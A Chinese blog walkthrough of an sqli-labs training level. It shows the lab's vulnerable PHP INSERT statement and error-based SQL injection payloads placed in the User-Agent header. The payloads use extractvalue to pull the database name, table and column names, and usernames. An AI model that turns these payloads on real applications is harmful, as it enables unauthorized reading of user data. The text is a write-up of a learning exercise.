查看源码
与第17关相同,详情查看sqli-labs-----第17关_Blchain的博客-CSDN博客
发现uname与passwd参数都被check_input了,不能进行sql注入
发现有两个变量uagent和IP
第一个sql语句,但是uname与passwd参数都被check_input了
$sql="SELECT users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
又发现一个sql语句
$insert="INSERT INTO `security`.`uagents` (`uagent`, `ip_address`, `username`) VALUES ('$uagent', '$IP', $uname)";
可以在这个语句上做文章
注意:必须输入正确的username和password才能执行第二个sql语句。
可以看到登陆进去后还会再执行一条SQL语句并且包涵的$uagent没有被过滤掉,并且有报错反馈,可以采用报错注入
注入过程
前提:拿到正确的用户名和密码
通过burp suite抓包
在User-Agent参数后加入单引号',可以发现有报错信息
要考虑value的闭合问题,假如我们利用的点是$uagent,那构建格式就应该是1',1,1)#
爆库名
User-Agent: ',extractvalue(1,concat(0x23,database(),0x23,version(),0x23,user())),1)#
爆表名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(table_name) from information_schema.tables where table_schema='security'))),1)#
爆列名
User-Agent:',extractvalue(1,concat(0x23,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users'))),1)#
爆username数据
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),1,32))),1)#
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),32,32))),1)#
',extractvalue(1,concat(0x23,mid((select group_concat(username) from security.users),64,32))),1)#
完成!!!!!!